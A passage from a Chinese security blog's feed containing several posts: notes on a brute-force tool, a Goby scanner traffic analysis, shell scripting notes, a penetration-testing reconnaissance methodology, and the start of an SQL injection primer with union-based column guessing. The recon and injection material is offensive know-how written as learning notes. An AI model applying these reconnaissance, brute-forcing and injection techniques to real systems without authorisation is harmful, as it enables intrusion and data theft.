输出结果优化</h3><p>输出为CSV,在burpsutie爆破中,一般是对返回值和返回长度进行排序,但csv并没有排序功能,因此需要在开发一个小脚本对输出结果进行处理,生成按返回值排序和按长度排序的结果,方便对比查看。</p><h3 id="4-钉钉提醒"><a href="#4-钉钉提醒" class="headerlink" title="4. 钉钉提醒"></a>4. 钉钉提醒</h3><blockquote><p>参考</p><p>web页面</p><p><a href="https://github.com/yzddmr6/WebCrack">https://github.com/yzddmr6/WebCrack</a></p><p>python与Burp Suite联动暴力破解 </p><p><a href="https://www.freebuf.com/articles/web/260406.html">https://www.freebuf.com/articles/web/260406.html</a><br>python解析http包并发送:</p><p><a href="https://blog.csdn.net/haoren_xhf/article/details/104937390">https://blog.csdn.net/haoren_xhf/article/details/104937390</a></p><p>[[图灵程序设计丛书].Python语言及其应用 第十一章</p><p>Gevent介绍</p><p><a href="https://www.jianshu.com/p/73ccb425a710">https://www.jianshu.com/p/73ccb425a710</a></p><p>gevent官方文档</p><p><a href="http://www.gevent.org/contents.html">http://www.gevent.org/contents.html</a></p><p>Python gevent高并发(限制最大并发数、协程池)</p><p><a href="https://blog.csdn.net/u012206617/article/details/108059173">https://blog.csdn.net/u012206617/article/details/108059173</a></p><p>kill掉全部的greenlet</p><p><a href="https://www.cnpython.com/qa/135874">https://www.cnpython.com/qa/135874</a></p></blockquote>]]></content>
<categories>
<category> 写点好玩的 </category>
</categories>
<tags>
<tag> 渗透测试 </tag>
<tag> 工具开发 </tag>
</tags>
</entry>
<entry>
<title>Goby分析</title>
<link href="/2022/01/09/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/Goby%E5%88%86%E6%9E%90/"/>
<url>/2022/01/09/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/Goby%E5%88%86%E6%9E%90/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>Wireshark抓包</p><p>tcp.port==xxxx and ip.addr==127.0.0.1</p><p> <img src="/2022/01/09/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/Goby%E5%88%86%E6%9E%90/image-20220109133714265.png" alt="image-20220109133714265"></p><p>启动goby</p><p> </p><p>Goby.exe为前端程序(electron)</p><p>Goby-cmd.exe为后端程序(go)绑定端口为8361,提供http服务、漏洞扫描服务</p><p>一开始为前端与后端建立http连接,随后切换为websocket进行通信, 前两次绑定失败,应该是后端服务在启动,最后绑定32441端口 ,该端口向前端发送具体的扫描结果,如开放端口信息、指纹、漏洞等</p><p> <em><span id="more"></span></em> </p><p> <img src="/2022/01/09/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/Goby%E5%88%86%E6%9E%90/image-20220109133729548.png" alt="image-20220109133729548"></p><p>获取环境变量</p><p> <img src="/2022/01/09/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/Goby%E5%88%86%E6%9E%90/image-20220109133734228.png" alt="image-20220109133734228"></p><p>获取执行完毕的任务</p><p> <img src="/2022/01/09/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/Goby%E5%88%86%E6%9E%90/image-20220109133738043.png" alt="image-20220109133738043"></p><p>获取poc列表</p><p> <img src="/2022/01/09/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/Goby%E5%88%86%E6%9E%90/image-20220109133741853.png" alt="image-20220109133741853"></p><p>开启一个扫描任务后,继续分析</p><p>点击开启后,前端post请求/api/v1/startscan/ 到后端进行扫描 ,原端口为18731</p><p> <img src="/2022/01/09/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/Goby%E5%88%86%E6%9E%90/image-20220109133749036.png" alt="image-20220109133749036"></p><p>这次请求只用来提交任务,提交完毕后就连接关闭了</p><p> <img src="/2022/01/09/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/Goby%E5%88%86%E6%9E%90/image-20220109133752820.png" alt="image-20220109133752820"></p><p>火绒剑,马赛克部分为扫描目标,不作考虑</p><p> <img src="/2022/01/09/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/Goby%E5%88%86%E6%9E%90/image-20220109133756569.png" alt="image-20220109133756569"></p><p>32441端口,用于后端向前端传递目标端口协议、指纹信息。</p><p> <img src="/2022/01/09/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/Goby%E5%88%86%E6%9E%90/image-20220109133800195.png" alt="image-20220109133800195"></p><p>对应于前端的这两块部分</p><p> <img src="/2022/01/09/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/Goby%E5%88%86%E6%9E%90/image-20220109133803737.png" alt="image-20220109133803737"></p><p> <img src="/2022/01/09/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/Goby%E5%88%86%E6%9E%90/image-20220109133809157.png" alt="image-20220109133809157"></p><p>前端一开始会不断调用</p><pre><code class="shell">/api/v1/getProgress /api/v1/getStatisticsData </code></pre><p>这两个接口,getsatisticData获取 指纹、ico图标等扫描结果信息</p><p>Getprogress用来判断这个任务是否完成</p><p> <img src="/2022/01/09/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/Goby%E5%88%86%E6%9E%90/image-20220109133826156.png" alt="image-20220109133826156"></p><p>其中progress的值对应前端的扫描百分数 </p><p> <img src="/2022/01/09/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/Goby%E5%88%86%E6%9E%90/image-20220109133830660.png" alt="image-20220109133830660"></p><p>扫描完毕,(getprogress结果为100)</p><p>调用如下接口进行前端数据展示</p><p><img src="/2022/01/09/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/Goby%E5%88%86%E6%9E%90/image-20220109133836262.png" alt="image-20220109133836262"></p><p> <img src="/2022/01/09/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/Goby%E5%88%86%E6%9E%90/image-20220109133848210.png" alt="image-20220109133848210"></p>]]></content>
<categories>
<category> web安全工具篇 </category>
</categories>
</entry>
<entry>
<title>Shell脚本学习笔记</title>
<link href="/2021/08/15/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Shell%E8%84%9A%E6%9C%AC%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
<url>/2021/08/15/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Shell%E8%84%9A%E6%9C%AC%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>todo list</p><p>符号的作用: </p><p>“” ‘’ ` </p><p>${} () [] & IFS $[] $? $!</p><p>| >> < > <<</p><p>\0 \r \t $ ….</p><p>空格的影响</p><p>如何定义变量? 如何定义函数 ? 如何调用变量? 如何调用函数?</p><p>获取用户输入 read</p><p>数据处理之 cat. grep. tr. find. xargs.</p><p>tr 替换 删除 </p><p>split 分割文件</p><p>关于函数中 echo 和return 在流中的体现</p><p>关于交互式命令、脚本的自动化 echo -e “ \n \n \n “</p><h1 id="SHELL脚本学习笔记"><a href="#SHELL脚本学习笔记" class="headerlink" title="SHELL脚本学习笔记"></a>SHELL脚本学习笔记</h1><blockquote><p>写在最前面: </p></blockquote><ol><li>编写目的: 记录学习shell脚本中, 一些容易混淆、遗忘的知识点。</li><li>参考书籍: Linux Shell 脚本攻略 (其实市面上任一本SHELL编程书籍都可, 关键在于实际运用)</li><li>为什么要学习SHELL: 同学习Python目的差不多, 简单易上手, 方便快速开发, 在脚本编写初期使用SHELL+Python+现有工具 实现集成、自动化十分方便快捷。<br>重点在于:命令执行 、结果处理 、结果保存</li><li>笔记结构: 第一部分记录一些语法,第二部分记录容易遗忘、混淆的知识点。</li></ol><p><em><span id="more"></span></em> </p><h2 id="SHELL脚本基础"><a href="#SHELL脚本基础" class="headerlink" title="SHELL脚本基础"></a>SHELL脚本基础</h2><blockquote><p>记录一些基础的东西(语法、常用命令等)</p></blockquote><h3 id="1-输出命令"><a href="#1-输出命令" class="headerlink" title="1. 输出命令"></a>1. 输出命令</h3><blockquote><p>就输出命令来说, 我们更加关心自定义的变量如何输出、如何操控输出的格式, 在Shell脚本中,<code>echo</code> 和 <code>printf</code> 都可用于输出, 常用的为echo, 两者区别并不大。我们更加关注与其输出时使用的 **” “ , ‘ ‘ ,和` ` ** 的区别</p></blockquote><ul><li><p>单引号<br>以单引号<code>' '</code>包围变量的值时,会将其内容原样输出。</p></li><li><p>双引号<br>以双引号<code>" "</code>包围变量的值时,输出时会先解析里面的变量、命令和格式符号**<u>(echo 需要加上-e 参数才能解析格式符号)</u>** ,然后在输出。</p><pre><code class="shell">var1="HELLOWORLD"echo "$var1"</code></pre></li><li><p>反引号<br>反引号 ` ` 会先解析内容, 然后将其当做命令执行</p><pre><code class="shell">echo `dir`# 其等价于下列命令, 反引号会先解析变量为dir 然后 将内容dir作为命令执行var1="dir"echo `$var1`# 在双引号中也可使用``echo "`date`"</code></pre></li><li><p>格式化输出变量</p><pre><code class="shell"># echo 和print 都可以用转义符号 \t \n \r 等 ,echo 需要使用 -e来将转义符号进行解析echo -e " \t Hello \t world "# 而printf 命令可以使用格式替换福 %s %c %d等, 类似于C语言printf "%s %s %s \r" Hello world !</code></pre><blockquote><p>关于两个命令更具体的使用可以用man echo ,man printf进行查看</p></blockquote></li></ul><h3 id="2-变量"><a href="#2-变量" class="headerlink" title="2.变量"></a>2.变量</h3><blockquote><p>关于环境变量、以及变量处理</p></blockquote><ul><li><p>环境变量<br>环境变量可以在终端中输入env查看, 在bash中可以直接使用$ 符号调用已有的环境变量</p><pre><code class="shell">#当前使用的何种shell$SHELL #也可使用$0查看$0#运行sh脚本时输入的参数$1 $2 $3#查看用户ID ,root为0$UID</code></pre></li><li><p>全局变量<br>有时候在shell脚本中 会调用另一个shell脚本, 这时候通过export将要传递的变量设置为环境变量即可</p><pre><code class="shell">var1="Helloworld"#注意: export 后面的变量不需要$符号export var1#此时调用的其他脚本都可以访问var1 这个变量bash 2.sh</code></pre></li><li><p>其他<br>数学运算(整数运算)</p><pre><code class="shell"># 数字赋值no1 =1 no2 =3# 使用let可直接进行数学运算, 注意使用let时变量不需要$符号let no3 =no1+no2echo $no3# 自增自减let no1++let no2--# [ ] (()) expr和let使用方法相同no4=$[ no1+no2 ]no5=$((no1+no2))no6=`expr $no1 + $no2` #注意expr后面两个变量和运算符号之间有空格</code></pre><p>获取字符串长度</p><pre><code class="shell">#使用 ${#str}获取 var1=1234567890echo ${#var1}</code></pre></li></ul><p> </p><h3 id="3-文件描述符、重定向、管道符号"><a href="#3-文件描述符、重定向、管道符号" class="headerlink" title="3. 文件描述符、重定向、管道符号"></a>3. 文件描述符、重定向、管道符号</h3><blockquote><p>在编写脚本的时候会频繁用到标准输入( stdin)、标准输出( stdout)和标准错误<br>( stderr)。 </p><p>文件描述符是与某个打开的文件或数据流相关联的整数。 文件描述符0、 1以及2是系统预留的。</p><ul><li>0 —— stdin (标准输入)。</li><li>1 —— stdout(标准输出)。</li><li>2 —— stderr(标准错误)。 </li></ul><p>重定向符号有两种</p><ul><li>输出重定向: ,>> 和> ,两者的区别是 > 会将指向 的文件清空后写入, >> 是在尾部拼接</li><li>输入重定向 < </li></ul><p>| 管道符号, 将前一条命令的结果作为输入传递给后面的命令、</p></blockquote><ul><li>标准流和重定向使用</li></ul><pre><code class="shell">#执行一条不存在的命令, 将错误信息输出到一个文件中testforerror 2 > error.log# &> 或 2>&1 表示将stdout 和stderr输出到某个文件中cat *.txt &> errout.log# 输入重定向使用举例: 将shell脚本中的命令传入bash中bash < 5.sh</code></pre><ul><li><p>创建一个新的文件描述符</p><p>文件描述符可以看做一个指针变量,通过该变量我们可以对文件进行存取操作。注意0、1 、2是预留的描述符号,我们可以通过<code>exec</code> 命令结合重定向符号创建文件描述符</p><pre><code class="shell"># 创建一个读取文件的文件描述符并使用cat读取exec 3< text.txt# 即可进行读取cat <&3 # 创建用于写入 的文件描述符, >> 为追加模式 , > 为覆盖模式 exec 5>>input.txt </code></pre></li></ul><h3 id="4-对变量处理的使用"><a href="#4-对变量处理的使用" class="headerlink" title="4. ${} 对变量处理的使用"></a>4. ${} 对变量处理的使用</h3><h3 id="5-shell-的debug模式"><a href="#5-shell-的debug模式" class="headerlink" title="5. shell 的debug模式"></a>5. shell 的debug模式</h3><h3 id="6-函数"><a href="#6-函数" class="headerlink" title="6. 函数"></a>6. 函数</h3><blockquote><p>函数的定义、传递的参数、返回值</p></blockquote><ul><li><p>定义</p><pre><code class="shell">function fname(){ statements;}或者fname(){ statements;}#执行函数 fname arg1 arg2</code></pre></li><li><p>参数访问</p><pre><code class="shell">$0是脚本名称。$1是第一个参数。$2是第二个参数。$n是第n个参数。$?接收上一条函数的执行结果"$@"被扩展成"$1" "$2" "$3"等。"$*"被扩展成"$1c$2c$3",是一个字符串,不常用</code></pre></li><li><p>返回值<br>return 只能返回一个整型变量, 要返回字符串可以通过设置全局变量, 或者利用输出信息获取。</p><pre><code class="shell">#全局变量fun1(){ s="$" export s}fun1 testecho $s# 输出信息get_str(){ echo "string"}echo `get_str` #写法一echo $(get_str) #写法二</code></pre></li></ul><h3 id><a href="#" class="headerlink" title></a></h3><h2 id="SHELL脚本应用"><a href="#SHELL脚本应用" class="headerlink" title="SHELL脚本应用"></a>SHELL脚本应用</h2><blockquote><p>单引号和双引号的区别?如何改变终端输出的颜色? 如何结合Linux的命令对结果进行处理?</p></blockquote><h3 id="1-单引号和双引号的区别"><a href="#1-单引号和双引号的区别" class="headerlink" title="1. 单引号和双引号的区别"></a>1. 单引号和双引号的区别</h3><h3 id="2-控制终端输出颜色"><a href="#2-控制终端输出颜色" class="headerlink" title="2. 控制终端输出颜色"></a>2. 控制终端输出颜色</h3><blockquote><p>有时候为了美化,可以对输出加上颜色控制<br>字体颜色范围为 30<del>39 , 背景颜色范围为40</del>49</p><p>更多设置可以使用<code>man console_codes</code> 查看</p></blockquote><ul><li><p>字体颜色控制<br>常用颜色码为: 重置=0,黑色=30,红色=31,绿色=32,黄色=33,蓝色=34,洋红=35,青色=36,白色=37。 </p></li><li><p>背景颜色控制<br>常用颜色码为: 重置=0,黑色=40,红色=41,绿色=42,黄色=43,蓝色=44,洋红=45,青色=46,白色=47。</p></li><li><p>使用方式 <code>\e[1;字体颜色 或 背景颜色m </code>即可进行设置,若想同时设置 使用; 分开即可如 <code>\e[1;33;44m</code></p></li><li><p>重置 :使用 <code>\e[0m </code></p><pre><code class="shell">echo -e "\e[1;33;45m Hello \e[1;37;42m world \e[0m"printf "\e[1;33;41m Hello \e[1;37;42m world \e[0m"</code></pre><p><img src="/2021/08/15/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Shell%E8%84%9A%E6%9C%AC%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/image-20210815135301999.png" alt="image-20210815135301999"></p></li></ul><h3 id="3-字符匹配与替换"><a href="#3-字符匹配与替换" class="headerlink" title="3. 字符匹配与替换"></a>3. 字符匹配与替换</h3><blockquote><p>常用命令 tr 、sed 、awk 、grep … </p></blockquote><h3 id="4-字符串转数字"><a href="#4-字符串转数字" class="headerlink" title="4. 字符串转数字"></a>4. 字符串转数字</h3><h3 id="结果保存"><a href="#结果保存" class="headerlink" title="结果保存"></a>结果保存</h3><blockquote><p>参考</p><p><img src="/2021/08/15/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Shell%E8%84%9A%E6%9C%AC%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/image-20210815123054352.png" alt="image-20210815123054352"></p></blockquote>]]></content>
<categories>
<category> 开发工具 </category>
</categories>
<tags>
<tag> 脚本 </tag>
<tag> bash </tag>
<tag> shell </tag>
<tag> linux </tag>
<tag> 开发 </tag>
</tags>
</entry>
<entry>
<title>信息收集</title>
<link href="/2021/07/25/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E7%AF%87/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/"/>
<url>/2021/07/25/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E7%AF%87/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="渗透测试的本质即信息收集"><a href="#渗透测试的本质即信息收集" class="headerlink" title="渗透测试的本质即信息收集"></a>渗透测试的本质即信息收集</h2><p>针对一个目标进行渗透,首先就是需要对目标的资产进行信息收集。</p><p>收集到的脆弱资产的数量,是渗透测试的关键。</p><p>本文主要是介绍信息收集的方法以及对一些常见的工具进行介绍</p><p><em><span id="more"></span></em> </p><h2 id="Step-1-被动信息收集"><a href="#Step-1-被动信息收集" class="headerlink" title="Step 1 被动信息收集"></a>Step 1 被动信息收集</h2><h3 id="思路介绍"><a href="#思路介绍" class="headerlink" title="思路介绍"></a>思路介绍</h3><blockquote><p>所谓被动信息搜集 ,通俗来说就是在目标检查不到异常行为的情况下进行资产信息收集。</p><p>一种常用的收集思路如下(可能会涉及到一些主动信息收集) : </p><ul><li>域名信息 -> 用于IP资产获取<ol><li>目标公司及子公司信息 ( 当然如果目标单一直接进行域名收集即可)</li><li>通过公司信息查询出域名</li><li>子域名枚举</li><li>将收集到的域名大致过一遍,后台、OA重点记录,同时将域名转换成IP并记录。</li></ol></li><li>资产关键字 -> 提取关键字、通过关键字进行FOFA、对FOFA出的资产 进一步收集 (端口、C段、同一关键字资产)<ol><li>目标名字 (如 “XXX公司”)</li><li>FOFA 关键字 (title=”xxx公司” 、title=”XXX” 、body=”xxx公司” 等)</li><li>对筛选出来的资产进行进一步的IP端口探测、C段探测 、当然此时已经获取到了新的关键字(如 XXXOA管理系统) ,可对该关键字进一步FOFA探测</li><li>筛选记录后期用得到的资产(后台登录 、可能带漏洞的CMS 、中间件 、SSH等)</li></ol></li><li>APP、小程序 、微信公众号<ol><li>对目标APP使用工具进行逆向,提取源码中的敏感信息(数据库信息、 接口信息等)</li><li>对目标APP、公众号服务进行抓包、 记录可能访问到的目标资产</li><li>小程序( 待补充 ,还没测过,思路应该差不多)</li></ol></li><li>信息泄露 -> 根据前面收集到的资产,使用google 、github 等进行信息收集 、可能收集到的资产: 目标站点源码、账号密码、相关人员个人信息等。<ol><li>github 对收集到的目标资产关键字 、域名等进行搜索。</li><li>google 目标公司关键字 + 后台\密码\管理系统\pdf\成员名单 等关键字组合</li></ol></li><li>人工探测 <ol><li>对目标网页进行访问,如有的主页最下面可能存在 后台管理跳转链接 ,查看源码有明显的CMS标识、用户控制的输入可能存在SQL注入、XSS等… </li></ol></li><li>指纹识别-> 对收集的资产指纹进行识别。</li></ul></blockquote><p>当然 , 被动信息收集和主动信息收集并不一定是固定顺序的,当收集到很有可能有漏洞的资产时,直接进一步获取权限也是一个不错的决定。</p><p>上面的资产收集并没有太多的顺序限制 ,很可能通过一个资产扩展出其他资产 ,而这个资产又可以扩展出其他资产(套娃),关键在于</p><ol><li>分辨出哪些是目标的资产,不要在错误的资产上浪费时间。</li><li>对收集到的资产进行明确的记录、分类。</li></ol><h3 id="工具整理"><a href="#工具整理" class="headerlink" title="工具整理"></a>工具整理</h3><blockquote><ul><li>公司信息收集( 可获取到 : 微信公众号 、APP、域名IP信息、子公司信息)<ol><li>企查查</li><li>天眼查</li><li>(注: 万能的淘宝,会员一元一天,个人比较推荐企查查)</li></ol></li><li>域名信息收集<ol><li>Subdomain(个人常用) <a href="https://github.com/lijiejie/subDomainsBrute">https://github.com/lijiejie/subDomainsBrute</a></li><li>FOFA也可以进行域名收集(host关键字)</li><li>OneForAll 、Sublist3r 等工具 , 可自行测试使用(当然最好多种工具结合,收集到的域名更全面)</li><li>注: 探测域名存活, 有些过期的域名要舍去。</li></ol></li><li>空间测绘<ol><li>FOFA </li><li>shodan</li><li>360Quake</li><li>空间测绘算是比较重要的资产收集工具了,通过它们可以通过关键字获取资产、获取域名信息、获取IP的C段、端口信息 等。</li></ol></li><li>chrome插件<ol><li>wappalyzer</li><li>shodan</li><li>一个可以改请求头的插件( 有的资产可能需要手机访问 )</li></ol></li><li>指纹识别<ol><li>wappalyzer</li><li>whatweb</li><li>云悉</li></ol></li><li>APP<ul><li>apktool 逆向APK程序 (推荐 santoku虚拟机 ,集成了许多APP分析的工具)。</li><li>burpsuite 抓包。</li><li>HTTPCanary 手机上的抓包程序。</li></ul></li></ul></blockquote><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>通过这一阶段的信息收集我们可以得到以下资产</p><ol><li>获取到一批 IP资产。</li><li>获取到一批 可能有漏洞的(弱口令后台、CMS、OA、中间件等)的资产。</li><li>获取到一批 敏感信息(源码、账号、成员信息)。</li></ol><h2 id="Step-2-主动信息收集"><a href="#Step-2-主动信息收集" class="headerlink" title="Step 2 主动信息收集"></a>Step 2 主动信息收集</h2><h3 id="思路介绍-1"><a href="#思路介绍-1" class="headerlink" title="思路介绍"></a>思路介绍</h3><blockquote><p>主动信息收集, 一般需要对目标进行敏感操作 ,如漏洞验证 、目录扫描、端口扫描、漏洞扫描等。</p><ul><li>漏洞验证<ul><li>后台弱口令爆破。</li><li>CMS漏洞、中间件漏洞、OA漏洞。</li><li>SQL注入漏洞、XXE漏洞、SSRF漏洞、RCE漏洞。</li></ul></li><li>目录扫描<ul><li>SVN、DS_Store、git 等敏感信息泄露。</li><li>后台目录、编辑器目录…</li></ul></li><li>端口扫描<ul><li>探测其他端口的HTTP服务</li><li>探测高端口服务</li><li>探测redis 、mysql 、RDP、ssh 等存在漏洞或可暴力猜解口令的服务。</li></ul></li><li>漏洞扫描<ul><li>借助工具进行漏洞探测。</li></ul></li></ul></blockquote><h3 id="工具整理-1"><a href="#工具整理-1" class="headerlink" title="工具整理"></a>工具整理</h3><blockquote><ol><li>漏洞验证<ul><li>手工验证( = = )。</li><li>Burpsuite 进行弱口令爆破、抓包分析。</li><li>GITHUB搜索相关工具验证 、漏洞文库POC验证 …</li></ul></li><li>目录扫描<ul><li>dirsearch</li><li>windows下推荐御剑扫描器</li><li>当然,目录扫描的关键在于一个强大的字典<a href="https://github.com/TheKingOfDuck/fuzzDicts">https://github.com/TheKingOfDuck/fuzzDicts</a></li></ul></li><li>端口扫描<ul><li>nmap</li><li>masscan </li></ul></li><li>漏洞扫描<ul><li>awvs</li><li>nessus</li><li>goby (可以对一些资产、C段进行快速漏洞验证)</li><li>xray</li><li>vulmap</li><li>……还有很多、</li></ul></li></ol></blockquote><h3 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h3><ul><li>说到底,被动信息收集和主动信息收集很多时候是交叉进行的,并没有明显的先后之分,要根据经验总结出自己的一套体系。</li><li>前期的信息收集决定后期的成果大小,正所谓磨刀不误砍柴工,要有足够的耐心,要细心。</li><li>不得不说,很多命令有很多参数,用时查找有些麻烦,可以考虑编写脚本将其集合到一起,进行自动化的信息收集。</li><li>WAF、防火墙很烦的。</li><li>以上只是个人积累的经验,肯定有许多疏漏的地方,这些就是需要通过实战不断的总结补充了…</li></ul><blockquote><p>参考文章</p><p><a href="https://github.com/Paper-Pen/GatherInfo">https://github.com/Paper-Pen/GatherInfo</a></p></blockquote>]]></content>
<categories>
<category> 渗透测试篇 </category>
</categories>
<tags>
<tag> 渗透测试 </tag>
<tag> 工具使用 </tag>
</tags>
</entry>
<entry>
<title>SQL注入相关</title>
<link href="/2021/05/11/web%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E%E7%AF%87/SQL%E6%B3%A8%E5%85%A5%E7%9B%B8%E5%85%B3/"/>
<url>/2021/05/11/web%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E%E7%AF%87/SQL%E6%B3%A8%E5%85%A5%E7%9B%B8%E5%85%B3/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="序"><a href="#序" class="headerlink" title="序"></a>序</h2><h3 id="1-什么是SQL"><a href="#1-什么是SQL" class="headerlink" title="1. 什么是SQL"></a>1. 什么是SQL</h3><p>SQL是结构化查询语言(Structured Query Language)简称,是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统;</p><h3 id="2-什么是SQL注入"><a href="#2-什么是SQL注入" class="headerlink" title="2. 什么是SQL注入"></a>2. 什么是SQL注入</h3><ul><li>SQL注入是一种利用用户输入构造SQL语句的攻击。</li><li>如果Web应用没有适当的验证用户输入的信息,攻击者就有可能改变后台执行的SQL语句的结构。由于程序运行SQL语句时的权限与当前该组建(例如,数据库服务器、Web应用服务器、Web服务器等)的权限相同,而这些组件一般的运行权限都很高,而且经常是以管理员的权限运行,所以攻击者获得数据库的完全控制,并可能执行系统命令。</li><li>本质是用户输入作为<strong>SQL</strong>命令被执行 </li></ul><h3 id="3-SQL注入危害"><a href="#3-SQL注入危害" class="headerlink" title="3. SQL注入危害"></a>3. SQL注入危害</h3><ul><li>获取账户密码等敏感信息</li><li>结合读写权限,写入WebShell</li><li>…</li></ul><p><strong>学习参考:</strong></p><p><a href="https://www.bugbank.cn/q/article/58afc3c06ef394d12a8a4379.html">https://www.bugbank.cn/q/article/58afc3c06ef394d12a8a4379.html</a></p><p><em><span id="more"></span></em> </p><h3 id="4-常见数据库"><a href="#4-常见数据库" class="headerlink" title="4. 常见数据库"></a>4. 常见数据库</h3><ol><li>MS SQL </li><li>MySQL 开源免费</li><li>Access</li><li>Oracle 性能高 价格贵</li></ol><h2 id="常用命令语句"><a href="#常用命令语句" class="headerlink" title="常用命令语句"></a>常用命令语句</h2><blockquote><p>这里使用MySQL的命令为例,参考菜鸟教程</p><p><a href="https://www.runoob.com/mysql/mysql-tutorial.html">https://www.runoob.com/mysql/mysql-tutorial.html</a></p></blockquote><h3 id="1-命令语句"><a href="#1-命令语句" class="headerlink" title="1. 命令语句"></a>1. 命令语句</h3><p><strong>库、表操作</strong></p><pre><code class="mysql">查看所有数据库show databases;选择数据库(use+数据库名)如: use mysql;查看数据库的数据表show tables;查看数据表字段描述(desc+数据表名)如: desc user;创建数据库CREATE DATABASE 数据库名;创建数据表(需要先使用use 指定数据库)CREATE TABLE table_name (column_name column_type);</code></pre><p><strong>查询数据表语句</strong></p><pre><code class="mysql">SELECT column_name1,column_name2 FROM table_name [WHERE Clause] [LIMIT N][ OFFSET M]如select * from user;select User,Select_priv from user;select User,Select_priv from user where Select_priv="N";select User,Select_priv from user where Select_priv="N" limit 2;select User,Select_priv from user where Select_priv="N" limit 2 offset 0;</code></pre><ul><li>查询语句中你可以使用一个或者多个表,表之间使用逗号(,)分割,并使用WHERE语句来设定查询条件。</li><li>SELECT 命令可以读取一条或者多条记录。</li><li>你可以使用星号(*)来代替其他字段,SELECT语句会返回表的所有字段数据</li><li>你可以使用 WHERE 语句来包含任何条件。</li><li>你可以使用 LIMIT 属性来设定返回的记录数。</li><li>你可以通过OFFSET指定SELECT语句开始查询的数据偏移量。默认情况下偏移量为0</li></ul><p><strong>UNION联合查询</strong></p><pre><code class="mysql">SELECT expression1, expression2, ... expression_nFROM tables[WHERE conditions]UNION [ALL | DISTINCT]SELECT expression1, expression2, ... expression_nFROM tables[WHERE conditions];select User from tables_priv union select User from user;select User from tables_priv union select 1,2,3,4,5,6,7,8;</code></pre><ul><li><strong>expression1, expression2, … expression_n</strong>: 要检索的列。</li><li><strong>tables:</strong> 要检索的数据表。</li><li><strong>WHERE conditions:</strong> 可选, 检索条件。</li><li><strong>DISTINCT:</strong> 可选,删除结果集中重复的数据。默认情况下 UNION 操作符已经删除了重复数据,所以 DISTINCT 修饰符对结果没啥影响。</li><li><strong>ALL:</strong> 可选,返回所有结果集,包含重复数据。</li></ul><ul><li>联合的两个表字段数必须相同,不然会产生错误,因此可以使用union select 1,2,3,4,5… 不断尝试进行字段猜解</li></ul><blockquote><p>只写出用到的,其他语句请参考</p><p><a href="https://www.runoob.com/mysql/mysql-tutorial.html">https://www.runoob.com/mysql/mysql-tutorial.html</a></p></blockquote><h3 id="2-内置函数"><a href="#2-内置函数" class="headerlink" title="2. 内置函数"></a>2. 内置函数</h3><blockquote><p>SQL注入可以使用函数进行报错注入、延时注入、文件读写等</p><p><a href="http://c.biancheng.net/mysql/function/">http://c.biancheng.net/mysql/function/</a></p></blockquote><p><strong>获取系统信息</strong></p><ul><li>system_user() 返回MySQL连接的当前用户名和主机名</li><li>user() 用户名</li><li>current_user() 当前用户名</li><li>session_user() 连接数据库的用户名</li><li>database() 数据库名</li><li>version() 数据库版本</li><li>@@datadir 数据库路径</li><li>@@basedir 数据库安装路径</li><li>@@version_compile_os 操作系统</li></ul><hr><p><strong>字符串函数</strong></p><ul><li>CONCAT(s1,s2,…) 合并字符串函数,返回结果为连接参数产生的字符串,参数可以使一个或多个。如:<br><code>select concat((select User from user limit 1 offset 0),(select User from user limit 1 offset 1),(select User from user limit 1 offset 2));</code> </li><li>LOWER( ) 将字符串中的字母转换为小写</li><li>UPPER( ) 